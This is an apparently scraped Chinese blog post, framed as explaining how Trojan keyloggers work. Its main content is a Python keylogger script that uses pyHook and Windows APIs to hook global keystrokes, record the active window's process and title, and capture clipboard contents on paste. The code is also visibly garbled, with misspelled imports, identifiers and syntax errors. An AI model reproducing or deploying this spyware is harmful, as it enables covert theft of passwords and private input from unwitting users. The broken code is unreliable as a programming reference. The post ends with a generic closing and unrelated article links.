Python告诉你木马程序的键盘记录原理


Posted in Python onFebruary 02, 2019

前言

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。

# -*- coding: utf-8 -*-
from ctypes inport
import pythoncom
import pyHook
import win32clipboard
user32 = winddll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Note
def get_current_process():
#获取最上层的窗句柄
hwnd = user32.GetForegroundWindow()
#获取进程ID
pid = c_ulong(0)
user32. GetwindowThreadProcessId(hwnd,byref(pid))
#将进程ID存入变量中
process_ = "%d" % pid.value
#申请内存
executable = create_string_buffer("\x00"*522)
h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
#读取窗口标题
windows_title = create_string_buffer("\x00",512)
length = user32.GetWindowTextA(hwnd,byref(windows.title),512)
#打印
print
print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value)
print
#关闭handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
#关闭键盘监听事件函数
def KeyStroke(event):
global current_window
#检测目标窗口是否转移(换了其他窗口就监听新窗口)
if event,WindowName !=current_window:
current_window = event.WindowName
#函数调用
get_current_process()
#检测击键是否常规按键(非组合键等)
if event.Ascii>32 and enent .Ascii <127 :
print chr(event.Ascii),
else:
#如果发现ctrl + V事件,就粘贴板内容记录下来
if event.Key == "V"
win32clipboard.OpenClipdoard()
pasted_value = win32clipdoard. GetClipdoardData()
win32clipdoard.CloseClipboard()
print "[PASTE]-%s" %(pasted_value),
else:
print "[%s]" %event.Key,
循环监听下一个事件
return True
#创建并注册hook管理器
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
#注册hook并兴趣
kl.hookKeyboard()
pythoncom.PumpMessages()

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。如果你想了解更多相关内容请查看下面相关链接

Python 相关文章推荐
python在windows下实现ping操作并接收返回信息的方法
Mar 20 Python
python装饰器-限制函数调用次数的方法(10s调用一次)
Apr 21 Python
python pycurl验证basic和digest认证的方法
May 02 Python
对python append 与浅拷贝的实例讲解
May 04 Python
详解Python 协程的详细用法使用和例子
Jun 15 Python
python判断设备是否联网的方法
Jun 29 Python
Python的UTC时间转换讲解
Feb 26 Python
python使用 zip 同时迭代多个序列示例
Jul 06 Python
Django Form 实时从数据库中获取数据的操作方法
Jul 25 Python
python opencv根据颜色进行目标检测的方法示例
Jan 15 Python
Python运行DLL文件的方法
Jan 17 Python
基于PyTorch的permute和reshape/view的区别介绍
Jun 18 Python
Python实现DDos攻击实例详解
Feb 02 #Python
Python实现SQL注入检测插件实例代码
Feb 02 #Python
Django uwsgi Nginx 的生产环境部署详解
Feb 02 #Python
python实现一个简单的udp通信的示例代码
Feb 01 #Python
Python读取指定日期邮件的实例
Feb 01 #Python
Python 利用切片从列表中取出一部分使用的方法
Feb 01 #Python
对pandas通过索引提取dataframe的行方法详解
Feb 01 #Python
You might like
php的正则处理函数总结分析
2008/06/20 PHP
php 对输入信息的进行安全过滤的函数代码
2012/06/29 PHP
php中socket通信机制实例详解
2015/01/03 PHP
CI框架常用函数封装实例
2016/11/21 PHP
php pdo操作数据库示例
2017/03/10 PHP
jquery获取焦点和失去焦点事件代码
2013/04/21 Javascript
JavaScript函数的4种调用方法详解
2014/04/22 Javascript
jQuery对象与DOM对象之间的相互转换
2015/03/03 Javascript
Javascript的表单验证-提交表单
2016/03/18 Javascript
nodejs实现发出蜂鸣声音(系统报警声)的方法
2017/01/18 NodeJs
js实现3d悬浮效果
2017/02/16 Javascript
js字符限制(字符截取) 一个中文汉字算两个字符
2017/09/12 Javascript
Angular中点击li标签实现更改颜色的核心代码
2017/12/08 Javascript
完美解决axios跨域请求出错的问题
2018/02/05 Javascript
NodeJs项目中关闭ESLint的方法
2018/08/09 NodeJs
vue项目中mock.js的使用及基本用法
2019/05/22 Javascript
vue 重塑数组之修改数组指定index的值操作
2020/08/09 Javascript
浅谈vant组件Picker 选择器选单选问题
2020/11/04 Javascript
解决VUE 在IE下出现ReferenceError: Promise未定义的问题
2020/11/07 Javascript
[10:34]DOTA2上海特级锦标赛全纪录
2016/03/25 DOTA
Python在Windows和在Linux下调用动态链接库的教程
2015/08/18 Python
Zookeeper接口kazoo实例解析
2018/01/22 Python
在pycharm中python切换解释器失败的解决方法
2018/10/29 Python
python爬取2021猫眼票房字体加密实例
2021/02/19 Python
css3实现input输入框颜色渐变发光效果代码
2014/04/02 HTML / CSS
前端canvas动画如何转成mp4视频的方法
2019/06/17 HTML / CSS
HTML5 创建canvas元素示例代码
2014/06/04 HTML / CSS
柯基袜:Corgi Socks
2017/01/26 全球购物
美国隐形眼镜销售网站:ContactsDirect
2017/10/28 全球购物
大气污染防治方案
2014/05/19 职场文书
民族团结先进集体事迹材料
2014/05/22 职场文书
重大事项社会稳定风险评估方案
2014/06/15 职场文书
博士生导师推荐信
2014/07/08 职场文书
二十年同学聚会感言
2015/07/30 职场文书
2016年小学端午节活动总结
2016/04/01 职场文书
Java9新特性对HTTP2协议支持与非阻塞HTTP API
2022/03/16 Java/Android